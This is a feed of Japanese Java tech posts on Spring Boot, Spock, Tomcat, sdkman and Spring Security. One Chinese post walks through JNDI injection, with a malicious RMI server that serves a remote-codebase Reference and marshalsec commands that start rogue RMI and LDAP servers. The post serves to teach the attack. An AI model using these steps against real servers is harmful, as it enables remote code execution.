- 投稿日:2020-04-01T23:04:42+09:00
Windows+VS CodeでSpring Boot環境を作る
やりたいこと
WindowsでSpring Bootを動かす環境を作りたい。
せっかくWindowsでやるならWSL上で作ってそれをVS Codeでよしなに開発するのが今風な気がするのでそれを目指す。
まずはWindows上のみで動かし、そのあとWSL上で動かす。やったこと
Windows上のみで動かす
OpenJDKのインストール
http://jdk.java.net/14/ からWindows用のJDKをzipでダウンロードして展開する。
出来たフォルダを適当なパスへ移動する。今回はC:\Program Files\Java\jdk-14
以下に置いた。また、システム環境変数に下記を設定する。
変数 値 JAVA_HOME C:\Program Files\Java\jdk-14 Path 先頭に %JAVA_HOME%bin を追加 VS Codeの設定
拡張機能のインストール
下記をインストールした。
- Language Support for Java(TM) by Red Hat
- Gradle Language Support
- Java Extension Pack
- Spring Boot Extension Pack
- Lombok Annotations Support for VS Code
java.homeの設定
settings.jsonに下記のようにJDKのパスを指定する(他に項目があれば追加する形で)。
{ "java.home": "C:\\Program Files\\Java\\jdk-14" }設定画面で
java.home
と入れて検索すると、settings.jsonで編集するリンクが出て来る。Javaのプロジェクトを試しに作って動かす
Ctrl+Shift+Pでコマンドパレットを開き、
Create Java Project
を実行する。
保存場所・プロジェクト名を適当に入力したらプロジェクトが作成されてVS Codeで開かれる。
F5でデバッグ実行して、Hello Java
と表示されるか確認出来ればOK。Springのプロジェクトを試しに作って動かす
Ctrl+Shift+Pでコマンドパレットを開き、
Spring Initiallizr: Generate a Gradle Project
を実行する。
(Mavenで作成してもいいけどGradleで)依存パッケージはひとまず空で作成して、実行する。デバッグコンソールにSpringのロゴが出て実行されればOK。
WSLで動かす
OpenJDKのインストール
WSL上でOpenJDKをインストールする。
aptコマンドでインストール出来るのはOpenJDK11のようなのでこれを使う。$ sudo apt update $ sudo apt install -y openjdk-11-jdkgradleのインストール
aptで入れると古いようだが、ひとまず入れる。
$ sudo apt install -y gradleVS Codeの設定
拡張機能のインストール
まず下記をインストールする。
- Remote Development
インストール後にWSLターミナルで
code
と打つと、WSLの環境を向いたVS Codeが立ち上がるようになる。
その状態でWindows向けのVS Codeでインストールした拡張機能を改めてインストールする。
※インストールボタンのラベルがInstall in WSL:Ubuntu
になる。java.homeの設定
settings.jsonに設定したjava.homeの値を変更する。
{ "java.home": "/usr/lib/jvm/java-11-openjdk-amd64" }Javaのプロジェクトを試しに作って動かす
Ctrl+Shift+Pでコマンドパレットを開き、
Create Java Project
を実行する。
保存場所・プロジェクト名を適当に入力したらプロジェクトが作成されてVS Codeで開かれる。
F5でデバッグ実行して、Hello Java
と表示されるか確認出来ればOK。Springのプロジェクトを試しに作って動かす
Ctrl+Shift+Pでコマンドパレットを開き、
Spring Initiallizr: Generate a Gradle Project
を実行する。
依存パッケージはひとまず空で作成して、実行する。デバッグコンソールにSpringのロゴが出て実行されればOK。Spring Webを試す
Spring Initiallizrでプロジェクト作成時にSpring Webを利用する設定で作成する。
main()があるApplicationクラスに@RestController
アノテーションを付け、クラス内に適当に下記のようなメソッドを作成する。@GetMapping("/") String home() { return "Hello!"; }アプリケーションを動かし、http://localhost:8080/ にアクセスして
Hello!
が表示されればOK。
リポジトリ:https://github.com/stamefusa/spring-web-demo参考にしたエントリ
https://qiita.com/dongsu-iis/items/6c7974022083d3036dc8
https://qiita.com/gitcho/items/a6c0bb781bc395e43ec4
https://qiita.com/gitcho/items/147a3ce2536ae3035bb8
- 投稿日:2020-04-01T20:39:41+09:00
spock のセットアップとかの実行順まとめ
まわり見てるとちょいちょいこれでハマっている人がいるので、躓かなくなると良いなと思ってまとめ
さっと
spock
細かい説明は省きますが、setup cleanup がいくつかと、where というテストデータ定義をする箇所があります
結論をさっと
表と絵で
定義 タイミング 備考 setupSpec テスト [クラス] の最初で [一回] 動く static 相当 setup テスト [データ] [ごと] に最初に動く cleanup テスト [データ] [ごと] に最後に動く cleanupSpec テスト [クラス] の最後で [一回] 動く static 相当 where テスト [メソッド] の最初で [データ分] 動く static 相当 緑字が static で赤字がそれ以外です、左から読んでね
で、何が問題になるの
大きく2つ
static
static 相当なので、例えば
@Autowired
してる変数とかを使った初期化処理はsetupSpec/cleanupSpec
では呼べない
where
からも使えないやりがちなので注意
実行順
多いのがこっち
特に多いのが now とかを絡めたテストデータの作成において、思った通りのテストデータが作られなくてテストがこけるケース
例えば
setup
にシステムクロックの改ざんをするようなコードを書いておいて、where
で now を含むテストデータを作ってパターンテストした場合、
テストデータを作ってからシステムクロックの改ざんという順番になるので、期待通りにならないその場合はセットアップを
setupSpec
に移動しようセットアップが static 処理内で行えない場合は、例えば
where
側のデータを{}
で囲ってexpect
側で()
をつけたりすると実行を遅延させられるけど、
テストコードでテクいことをやりたくなる場合は 大抵の場合プロダクトコード(= 設計) がおかしいので、素直にリファクタしようさくっとおしまいノシ
おまけ 実行順のところで挙げた例のコードイメージ
これだと
mkData()
->setClock()
の順で動くdef setup() { setClock() } def test() { expect: sut.f(data) == exp where: data || exp mkData() || ... }こうするか、
def setupSpec() { setClock() } def test() { expect: sut.f(data) == exp where: data || exp mkData() || ... }こうすると
setClock()
->mkData()
の順で動くdef setup() { setClock() } def test() { expect: sut.f(data()) == exp where: data || exp { mkData() } || ... }ただ、例えば now に関しては
sut.f
内部で生成するより引数で渡して揚げる方がずっとテストしやすいので、既存の作りを見直すのに立ち戻った方が良いdef test() { expect: sut.f(data, date(2020, 3, 1)) == exp where: data || exp mkData() || ... }
- 投稿日:2020-04-01T18:41:24+09:00
【Java】HTTPステータス 400 – Bad Requestの「リクエストヘッダが長すぎます」問題を解決
はじめに
どういう状況の中で出たかというと
Tomcatでサーバーを立ち上げようとしていたとき
に出ました。完全に初歩ですね。RailsでRails sするときに謎のエラーが出る感じです。
サーバーに関してはそんなに知識を持ってなかったので、解決するのにちょっと戸惑いました。解決策を共有したいと思います。
作業環境
・Tomcatバージョン:8.5参考記事:Tomcat: Request Header too large? Resolved!
結論
「maxHttpHeaderSize="65536"」
これをserver.xmlに追加してください。
もっと具体的な箇所でいうと
ここです。ここに追加してください。
- 投稿日:2020-04-01T17:17:58+09:00
scala・javaのバージョン管理 ベストプラクティス
scala・javaのバージョン管理 ベストプラクティス
背景
jdk 1.8.0 系のプロジェクトと個人で、最新のjavaとscalaを使用する際にバージョンの切替が必要になりました。
昔jEnv
を使用していたのですが、設定が複雑だったので見直したところ sdkman というバージョン管理ツールがありとても使いやすかったのでご紹介します。sdkman インストール方法
sdkman インストール方法
curl -s "https://get.sdkman.io" | bash source "$HOME/.sdkman/bin/sdkman-init.sh"➜ ~ sdk list java ================================================================================ Available Java Versions ================================================================================ Vendor | Use | Version | Dist | Status | Identifier -------------------------------------------------------------------------------- AdoptOpenJDK | | 14.0.0.j9 | adpt | | 14.0.0.j9-adpt | | 14.0.0.hs | adpt | | 14.0.0.hs-adpt | | 13.0.2.j9 | adpt | | 13.0.2.j9-adpt | | 13.0.2.hs | adpt | | 13.0.2.hs-adpt | | 12.0.2.j9 | adpt | | 12.0.2.j9-adpt | | 12.0.2.hs | adpt | | 12.0.2.hs-adpt | | 11.0.6.j9 | adpt | | 11.0.6.j9-adpt | | 11.0.6.hs | adpt | | 11.0.6.hs-adpt | | 8.0.242.j9 | adpt | | 8.0.242.j9-adpt | | 8.0.242.hs | adpt | | 8.0.242.hs-adpt Amazon | | 11.0.6 | amzn | | 11.0.6-amzn | | 13.0.2 | librca | | 13.0.2-librca | | 12.0.2 | librca | | 12.0.2-librca | | 11.0.6.fx | librca | | 11.0.6.fx-librca | | 11.0.6 | librca | | 11.0.6-librca | | 8.0.242.fx | librca | | 8.0.242.fx-librca | | 8.0.242 | librca | | 8.0.242-librca GraalVM | | 20.0.0.r11 | grl | | 20.0.0.r11-grl | | 20.0.0.r8 | grl | | 20.0.0.r8-grl | | 19.3.1.r11 | grl | | 19.3.1.r11-grl | | 19.3.1.r8 | grl | | 19.3.1.r8-grl | | 19.3.0.r11 | grl | | 19.3.0.r11-grl | | 19.3.0.r8 | grl | | 19.3.0.r8-grl | | 19.3.0.2.r11 | grl | | 19.3.0.2.r11-grl | | 19.3.0.2.r8 | grl | | 19.3.0.2.r8-grl | | 19.2.1 | grl | | 19.2.1-grl | | 19.1.1 | grl | | 19.1.1-grl | | 19.0.2 | grl | | 19.0.2-grl | | 1.0.0 | grl | | 1.0.0-rc-16-grl Java.net | | 15.ea.15 | open | | 15.ea.15-open | | 14.0.0 | open | | 14.0.0-open | | 13.0.2 | open | | 13.0.2-open | | 12.0.2 | open | | 12.0.2-open | | 11.0.2 | open | | 11.0.2-open | | 10.0.2 | open | | 10.0.2-open | | 9.0.4 | open | | 9.0.4-open SAP | | 13.0.2 | sapmchn | | 13.0.2-sapmchn | | 12.0.2 | sapmchn | | 12.0.2-sapmchn | | 11.0.6 | sapmchn | | 11.0.6-sapmchn ================================================================================ Use the Identifier for installation: $ sdk install java 11.0.3.hs-adpt ================================================================================JDK 1.8.0 インストール方法
sdkmanを使用してjavaをインストール
sdk install java 8.0.242.j9-adpt ➜ ~ java -version () openjdk version "1.8.0_242" OpenJDK Runtime Environment (build 1.8.0_242-b08) Eclipse OpenJ9 VM (build openj9-0.18.1, JRE 1.8.0 Mac OS X amd64-64-Bit Compressed References 20200122_439 (JIT enabled, AOT enabled) OpenJ9 - 51a5857d2 OMR - 7a1b0239a JCL - 8cf8a30581 based on jdk8u242-b08)サポート一覧
sdkman は, 他にもさまざまなJDK・SDKをサポートしています。
詳細は以下を参照してください
- 投稿日:2020-04-01T17:17:58+09:00
java・JDKのバージョン管理 ベストプラクティス
scala・javaのバージョン管理 ベストプラクティス
背景
jdk 1.8.0 系のプロジェクトと個人で、最新のjavaとscalaを使用する際にバージョンの切替が必要になりました。
昔jEnv
を使用していたのですが、設定が複雑だったので見直したところ sdkman というバージョン管理ツールがありとても使いやすかったのでご紹介します。sdkman インストール方法
sdkman インストール方法
curl -s "https://get.sdkman.io" | bash source "$HOME/.sdkman/bin/sdkman-init.sh"➜ ~ sdk list java ================================================================================ Available Java Versions ================================================================================ Vendor | Use | Version | Dist | Status | Identifier -------------------------------------------------------------------------------- AdoptOpenJDK | | 14.0.0.j9 | adpt | | 14.0.0.j9-adpt | | 14.0.0.hs | adpt | | 14.0.0.hs-adpt | | 13.0.2.j9 | adpt | | 13.0.2.j9-adpt | | 13.0.2.hs | adpt | | 13.0.2.hs-adpt | | 12.0.2.j9 | adpt | | 12.0.2.j9-adpt | | 12.0.2.hs | adpt | | 12.0.2.hs-adpt | | 11.0.6.j9 | adpt | | 11.0.6.j9-adpt | | 11.0.6.hs | adpt | | 11.0.6.hs-adpt | | 8.0.242.j9 | adpt | | 8.0.242.j9-adpt | | 8.0.242.hs | adpt | | 8.0.242.hs-adpt Amazon | | 11.0.6 | amzn | | 11.0.6-amzn | | 13.0.2 | librca | | 13.0.2-librca | | 12.0.2 | librca | | 12.0.2-librca | | 11.0.6.fx | librca | | 11.0.6.fx-librca | | 11.0.6 | librca | | 11.0.6-librca | | 8.0.242.fx | librca | | 8.0.242.fx-librca | | 8.0.242 | librca | | 8.0.242-librca GraalVM | | 20.0.0.r11 | grl | | 20.0.0.r11-grl | | 20.0.0.r8 | grl | | 20.0.0.r8-grl | | 19.3.1.r11 | grl | | 19.3.1.r11-grl | | 19.3.1.r8 | grl | | 19.3.1.r8-grl | | 19.3.0.r11 | grl | | 19.3.0.r11-grl | | 19.3.0.r8 | grl | | 19.3.0.r8-grl | | 19.3.0.2.r11 | grl | | 19.3.0.2.r11-grl | | 19.3.0.2.r8 | grl | | 19.3.0.2.r8-grl | | 19.2.1 | grl | | 19.2.1-grl | | 19.1.1 | grl | | 19.1.1-grl | | 19.0.2 | grl | | 19.0.2-grl | | 1.0.0 | grl | | 1.0.0-rc-16-grl Java.net | | 15.ea.15 | open | | 15.ea.15-open | | 14.0.0 | open | | 14.0.0-open | | 13.0.2 | open | | 13.0.2-open | | 12.0.2 | open | | 12.0.2-open | | 11.0.2 | open | | 11.0.2-open | | 10.0.2 | open | | 10.0.2-open | | 9.0.4 | open | | 9.0.4-open SAP | | 13.0.2 | sapmchn | | 13.0.2-sapmchn | | 12.0.2 | sapmchn | | 12.0.2-sapmchn | | 11.0.6 | sapmchn | | 11.0.6-sapmchn ================================================================================ Use the Identifier for installation: $ sdk install java 11.0.3.hs-adpt ================================================================================JDK 1.8.0 インストール方法
sdkmanを使用してjavaをインストール
sdk install java 8.0.242.j9-adpt ➜ ~ java -version () openjdk version "1.8.0_242" OpenJDK Runtime Environment (build 1.8.0_242-b08) Eclipse OpenJ9 VM (build openj9-0.18.1, JRE 1.8.0 Mac OS X amd64-64-Bit Compressed References 20200122_439 (JIT enabled, AOT enabled) OpenJ9 - 51a5857d2 OMR - 7a1b0239a JCL - 8cf8a30581 based on jdk8u242-b08)サポート一覧
sdkman は, 他にもさまざまなJDK・SDKをサポートしています。
詳細は以下を参照してください
- 投稿日:2020-04-01T15:19:58+09:00
攻击Java中的JNDI、RMI、LDAP(二)
上文我简述了JNDI,本文我将演示如何攻击JNDI。
JNDI注入
这个东西是BlackHat 2016(USA)的一个议题 "A Journey From JNDI LDAP Manipulation To RCE" 提出的。他的攻击步骤可以概括为以下几步:
- 服务端实例化JNDI InitialContext请求attacker的恶意RMIServer
- InitialContext初始化期间lookup rmi://attacker/Obj
- 恶意RMIServer返回JNDI Reference
- 服务端接收到JNDI Reference之后会从恶意RMIServer获取工厂类
- 恶意RMIServer返回的工厂类中带有static块的Java代码,造成任意代码执行
攻击JNDI
作者水平有限,本文仅讲述以下几种攻击JNDI的方法。
1. JNDI 配合 RMI Remote Object(codebase)
2. JNDI Reference 配合 RMI
3. JNDI Reference 配合 LDAPRMI Remote Object
在早期Java是可以运行在浏览器中的,也就是Applet。使用Applet通常需要指定一个codebase参数,比如:
<applet code="HelloWorld.class" codebase="Applets" width="800" height="600"></applet>codebase是一个类地址,它告诉Java应该从哪里寻找class,就像classpath一样,但与classpath不一样的是codebase如果从本地加载不到,就会从远程地址中加载。如果codebase地址可控,在RMI中,codebase是和序列化数据一起传输的,所以会造成RCE。
但是codebase需要满足两个条件:
- 安装并配置了SecurityManager
- Java版本低于7u21、6u45,或者设置了
java.rmi.server.useCodebaseOnly=false
官方将
java.rmi.server.useCodebaseOnly
的默认值由 false 改为了 true 。java.rmi.server.useCodebaseOnly
配置为 true 的情况下,Java虚拟机将只信任预先配置好的codebase
,不再支持从RMI请求中获取。所以这个东西特别鸡肋。在大多数情况下,你可以在命令行上通过属性
java.rmi.server.codebase
来设置Codebase。例如,如果所需的类文件在Webserver的根目录下,那么设置Codebase的命令行参数如下(如果你把类文件打包成了jar,那么设置Codebase时需要指定这个jar文件)
-Djava.rmi.server.codebase=http://url:8080/当接收程序试图从该URL的Webserver上下载类文件时,它会把类的包名转化成目录,在Codebase 的对应目录下查询类文件,如果你传递的是类文件 com.project.test ,那么接受方就会到下面的URL去下载类文件:
http://url:8080/com/project/test.classJNDI Reference配合RMI
看一下演示代码,同样本文仍然使用的是Longofo师傅的代码。
package com.longofo.jndi; import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIServer1 { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { // 创建Registry Registry registry = LocateRegistry.createRegistry(9999); System.out.println("java RMI registry created. port on 9999..."); Reference refObj = new Reference("ExportObject", "com.longofo.remoteclass.ExportObject", "http://127.0.0.1:8000/"); ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj); registry.bind("refObj", refObjWrapper); } }package com.longofo.jndi; import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; import javax.naming.directory.DirContext; import javax.naming.directory.InitialDirContext; import java.rmi.NotBoundException; import java.rmi.RemoteException; public class RMIClient1 { public static void main(String[] args) throws RemoteException, NotBoundException, NamingException { // Properties env = new Properties(); // env.put(Context.INITIAL_CONTEXT_FACTORY, // "com.sun.jndi.rmi.registry.RegistryContextFactory"); // env.put(Context.PROVIDER_URL, // "rmi://localhost:9999"); System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); // 下面这行是我自己加的 8u221需要 原因看下文 System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); Context ctx = new InitialContext(); DirContext dirc = new InitialDirContext(); ctx.lookup("rmi://localhost:9999/refObj"); } }在RMIClient1.java中,我把
com.sun.jndi.ldap.object.trustURLCodebase
设置为true,没加上之前一直不成功,一步一步跟一下才解决问题,看下我的分析步骤:跟进lookup,然后在
javax/naming/spi/NamingManager.java:146
会尝试从本地加载类
跟进loadClass
public Class<?> loadClass(String className, String codebase) throws ClassNotFoundException, MalformedURLException { if ("true".equalsIgnoreCase(trustURLCodebase)) { ClassLoader parent = getContextClassLoader(); ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent); return loadClass(className, cl); } else { return null; } }发现依据
trustURLCodebase
的值来判断是否加载,在类的属性中发现trustURLCodebase
取决于com.sun.jndi.ldap.object.trustURLCodebase
的值。堆栈loadClass:101, VersionHelper12 (com.sun.naming.internal) getObjectFactoryFromReference:158, NamingManager (javax.naming.spi) getObjectInstance:319, NamingManager (javax.naming.spi) decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry) lookup:138, RegistryContext (com.sun.jndi.rmi.registry) lookup:205, GenericURLContext (com.sun.jndi.toolkit.url) lookup:417, InitialContext (javax.naming) main:24, RMIClient1 (com.longofo.jndi)private static final String TRUST_URL_CODEBASE_PROPERTY = "com.sun.jndi.ldap.object.trustURLCodebase"; private static final String trustURLCodebase = AccessController.doPrivileged( new PrivilegedAction<String>() { public String run() { try { return System.getProperty(TRUST_URL_CODEBASE_PROPERTY, "false"); } catch (SecurityException e) { return "false"; } } } );最后的效果就是这样
在实战用我更倾向于使用marshalsec来起RMI恶意服务,RMI服务端口号默认为1099
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip:80/#ExportObject 1099
你仍然需要自己启动web服务
JNDI Reference配合LDAP
在上文中说过,JNDI一般配合RMI、LDAP等协议进行使用,所以上文中有RMI,自然就有LDAP。使用LDAP与上文中的RMI大同小异。所以我直接使用marshalsec启动LDAP服务,LDAP服务默认端口号为1389。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:80/#ExportObject 1389
JNDI注入的JDK版本限制
由于JNDI注入动态加载的原理是使用Reference引用Object Factory类,其内部在上文中也分析到了使用的是URLClassLoader,所以不受
java.rmi.server.useCodebaseOnly=false
属性的限制。但是不可避免的受到
com.sun.jndi.rmi.object.trustURLCodebase
、com.sun.jndi.cosnaming.object.trustURLCodebase
的限制。
- JDK 5U45、6U45、7u21、8u121 开始
java.rmi.server.useCodebaseOnly
默认配置为true- JDK 6u132、7u122、8u113 开始
com.sun.jndi.rmi.object.trustURLCodebase
默认值为false- JDK 11.0.1、8u191、7u201、6u211
com.sun.jndi.ldap.object.trustURLCodebase
默认为false一张图来展示JNDI注入的利用方式与JDK版本的关系:
小声逼逼:java每个版本的属性多多少少都有点不一样,对于搞安全的来讲实在是太累了:<
已知的JNDI注入
对于JNDI注入,需要注意:
- 仅由InitialContext或其子类初始化的Context对象(InitialDirContext或InitialLdapContext)容易受到JNDI注入攻击
- InitialContext可以通过JNDI动态协议转换覆盖
- InitialContext.rename()和InitialContext.lookupLink()最终也调用了lookup()
还有一些包装类也调用了lookup(),比如:Spring的JndiTemplate。
- JtaTransactionManager found by zerothinking
- com.sun.rowset.JdbcRowSetImpl found by matthias_kaiser
- javax.management.remote.rmi.RMIConnector.connect() found by pwntester
- org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName() found by pwntester
这些带佬是真的强...
小结
本文简述了如何攻击JNDI,以及一些限制条件,并且列举了一些已知的JNDI注入,解释了上文中留下来的坑。下文将讲述RMI。
参考链接
- 投稿日:2020-04-01T13:29:14+09:00
Spring-Securityの新規登録とログイン(JPA)
SpringSecurityの設定でハマった
タイトル通りです。初めてSpringSecurityを使って認証処理をしようとしたのですが、見事にハマりました。
参考URLはこちらとこちらです。まずはプロジェクト作成。環境は以下。
Javaバージョン:1.8
FW:Springboot(gradle)
DB:MySQL(アクセスはJPA)
他:WebとかlombokとかThymeleafとか入れてます。まずはログイン画面を表示
LoginControllerpackage com.example.demo.controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.servlet.ModelAndView; @RestController @RequestMapping(value="/login") public class LoginController { @GetMapping public ModelAndView login(ModelAndView mav) { return mav; } }login.html<!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:th="https://www.thymeleaf.org" xmlns:sec="https://www.thymeleaf.org/thymeleaf-extras-springsecurity5"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <title>ログイン</title> </head> <body> <div class="login-form"> <form th:action="@{/login}" th:method="post"> <input type="text" name="loginId" id="loginId"><br /> <input type="password" name="password" id="password"><br /> <button type="submit" class="login-btn">ログイン</button> </form> </div> <button onclick="location.href='./signup'" class="signup-link">新規登録</button> </body> </html>SpringSecurityの設定ファイル的なやつ
WebSecurityConfigpackage com.example.demo.config; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder; import org.springframework.security.config.annotation.web.builders.HttpSecurity; import org.springframework.security.config.annotation.web.builders.WebSecurity; import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity; import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter; import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder; import com.example.demo.service.UserDetailsServiceImpl; @Configuration @EnableWebSecurity public class WebSecurityConfig extends WebSecurityConfigurerAdapter { @Autowired private UserDetailsServiceImpl userDetailsService; //パスワードの暗号化 @Bean public BCryptPasswordEncoder passwordEncoder() { return new BCryptPasswordEncoder(); } // フィルタリングしないフォルダやファイル @Override public void configure(WebSecurity web) throws Exception { web.ignoring().antMatchers( "/image/**", "/css/**", "/js/**" ); } @Override protected void configure(HttpSecurity http) throws Exception { // ログイン画面と新規登録画面は誰でも遷移可能 http.authorizeRequests() .antMatchers("/login", "/signup") .permitAll() .anyRequest().authenticated(); // ログイン http.formLogin() .loginPage("/login") //ログインページはコントローラを経由しないのでViewNameとの紐付けが必要 .loginProcessingUrl("/login") //フォームのSubmitURL、このURLへリクエストが送られると認証処理が実行される .usernameParameter("loginId") //リクエストパラメータのname属性を明示 .passwordParameter("password") .successForwardUrl("/top") .failureUrl("/login?error") .permitAll(); // ログアウト http.logout() .logoutUrl("/logout") .logoutSuccessUrl("/login") .invalidateHttpSession(true) .deleteCookies("JSESSIONID", "SESSION", "remember-me") .permitAll(); } @Autowired public void configure(AuthenticationManagerBuilder auth) throws Exception{ auth.userDetailsService(userDetailsService).passwordEncoder(passwordEncoder()); } }DBにユーザーを登録
DBには適当なアカウントを作成しておく。
SignUpControllerpackage com.example.demo.controller; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.servlet.ModelAndView; import com.example.demo.Conversion; import com.example.demo.form.SignUpForm; import com.example.demo.service.SignUpService; @RestController @RequestMapping(value="/signup") public class SignUpController { @GetMapping public ModelAndView signup(ModelAndView mav) { return mav; } @Autowired private SignUpService signupService; @Autowired private Conversion conversion; @PostMapping public ModelAndView signup(SignUpForm signupForm, ModelAndView mav) { signupService.registUser(conversion.signupCon(signupForm)); mav.setViewName("login"); return mav; } }SignUpFormpackage com.example.demo.form; import javax.persistence.Column; import javax.persistence.Id; import lombok.Data; @Data public class SignUpForm { @Id private Integer id; @Column(name = "login_id") private String loginId; private String password; }signup.html<!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:th="https://www.thymeleaf.org" xmlns:sec="https://www.thymeleaf.org/thymeleaf-extras-springsecurity5"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <title>新規登録</title> </head> <body> <div class="signup-form"> <form th:action="@{/signup}" th:method="post" th:object="${SignUpForm}"> <label class="loginId-label">ログインID</label> <input type="text" name="loginId" id="loginId"><br /> <label class="password-label">パスワード</label> <input type="password" name="password" id="password"><br /> <button type="submit" class="signup-btn">登録</button> </form> </div> </body> </html>UserEntitypackage com.example.demo.entity; import java.util.ArrayList; import java.util.Collection; import javax.persistence.Column; import javax.persistence.Entity; import javax.persistence.GeneratedValue; import javax.persistence.GenerationType; import javax.persistence.Id; import javax.persistence.Table; import org.springframework.security.core.GrantedAuthority; import org.springframework.security.core.authority.SimpleGrantedAuthority; import org.springframework.security.core.userdetails.UserDetails; import lombok.Data; @Data @Table(name="user") @Entity public class UserEntity{ @Id @GeneratedValue(strategy = GenerationType.IDENTITY) private Integer id; @Column(name = "login_id") private String loginId; private String password; public UserEntity(Integer id, String loginId, String password) { this.id = id; this.loginId = loginId; this.password = password; } }Formで受け取ったパスワードを暗号化してEntityに渡すだけのもの。
Entityだけでやろうとしたけどよく分からなかったので、分かる人教えてください。Conversionpackage com.example.demo; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder; import org.springframework.stereotype.Component; import com.example.demo.entity.UserEntity; import com.example.demo.form.SignUpForm; @Component public class Conversion { @Autowired BCryptPasswordEncoder passwordEncoder; public UserEntity signupCon(SignUpForm form) { return new UserEntity( form.getId(), form.getLoginId(), passwordEncoder.encode(form.getPassword())); } }あとはServiceでEntityの値をJPAで登録させる。
ハマったポイント①
そもそもThymeleafとかJPAも初めてだったので色々躓きましたが、とりあえずなんとかなった。あとsignupのページをSecurityから外すのとか。
ログイン機能
ここからいよいよログイン認証。SpringSecurityの設定。
UserDetailsServiceの、loadUserByUsernameが認証処理そのものを行うためのものらしい。でもこの引数はString username
となっているので、パスワードはここでは判定してない?どうやるかは不明。UserDetailsServiceImplpackage com.example.demo.service; import java.util.ArrayList; import java.util.List; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.security.core.GrantedAuthority; import org.springframework.security.core.authority.SimpleGrantedAuthority; import org.springframework.security.core.userdetails.User; import org.springframework.security.core.userdetails.UserDetails; import org.springframework.security.core.userdetails.UserDetailsService; import org.springframework.security.core.userdetails.UsernameNotFoundException; import org.springframework.stereotype.Service; import com.example.demo.entity.UserEntity; import com.example.demo.repository.UserRepository; @Service public class UserDetailsServiceImpl implements UserDetailsService { @Autowired private UserRepository userRepository; // loadUserByUsernameはUserDetailsのメソッド @Override public UserDetails loadUserByUsername(String loginId) throws UsernameNotFoundException { UserEntity loginUser = userRepository.findUser(loginId); if (loginUser == null) { throw new UsernameNotFoundException("User" + loginId + "アカウントが存在しません"); } // 権限の設定(ダミー) List<GrantedAuthority> grantList = new ArrayList<GrantedAuthority>(); GrantedAuthority authority = new SimpleGrantedAuthority("USER"); grantList.add(authority); // UserDetailsはインタフェースなのでUserクラスのコンストラクタで生成したユーザオブジェクトをキャスト UserDetails userDetails = (UserDetails) new User(loginUser.getLoginId(), loginUser.getPassword(), grantList); return userDetails; } }今回はLoginControllerを使用。MvcConfigでもできるみたいですが、メリットはなんかあるのでしょうか?
あとはJPAのRepositoryにQueryを足してlogin_idでuser検索したらログインできる!(JPAにStringのID検索みたいなのがなかったので。これも知ってる人いたら教えて)
と思ったけど...
ハマったポイント②
IDとパスワードを入力してログインボタンを押してもtop画面に遷移しない。success(ログイン成功)時のマッピングがおかしい?
で色々調べたら、WebSecurityConfigの.successForwardUrl("/top")の部分を.defaultSuccessUrl("/top")に変えたら遷移した。違いについてはよく分からなかった。権限(ROLE)の設定をなくす
リンクを参考に作ったのだけど、DB作ったときにROLEとかなかったので、とりあえず管理者権限なしでもいいんじゃない?って思って管理者権限なくそうと思ったら全然できなくてハマった。
結局、UserDetailsServiceImplのダミー権限部分をコメントアウトして、Entityの情報を返すだけに。UserDetailsServiceImplpackage com.example.demo.service; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.security.core.userdetails.UserDetails; import org.springframework.security.core.userdetails.UserDetailsService; import org.springframework.security.core.userdetails.UsernameNotFoundException; import org.springframework.stereotype.Service; import com.example.demo.entity.UserEntity; import com.example.demo.repository.UserRepository; @Service public class UserDetailsServiceImpl implements UserDetailsService { @Autowired private UserRepository userRepository; // loadUserByUsernameはUserDetailsのメソッド @Override public UserDetails loadUserByUsername(String loginId) throws UsernameNotFoundException { UserEntity loginUser = userRepository.findUser(loginId); if (loginUser == null) { throw new UsernameNotFoundException("User" + loginId + "アカウントが存在しません"); } // 権限の設定(ダミー) // List<GrantedAuthority> grantList = new ArrayList<GrantedAuthority>(); // GrantedAuthority authority = new SimpleGrantedAuthority("USER"); // grantList.add(authority); // UserDetailsはインタフェースなのでUserクラスのコンストラクタで生成したユーザオブジェクトをキャスト // UserDetails userDetails = (UserDetails) new User(loginUser.getLoginId(), loginUser.getPassword(), grantList); return loginUser; } }これでもログインはできた。
もちろん、管理者とかはいるはずなので実際には権限は設定することになるのかな。
あと画面遷移の管理者権限フィルターとかもかけれるし。まとめ
ThymeleafとJPAとSpringSecurityと、そもそもSpring自体あまり理解していない状態でのスタートだったので、ここまでで大分時間がかかってしまった。実際の現場ではここからスタートすることはあまりないのかも知れないけど、理解だけでもしておこうと思いやってみました。
- 投稿日:2020-04-01T13:02:02+09:00
Win10上でJavaとmysqlのWebシステム構築手順
Overview
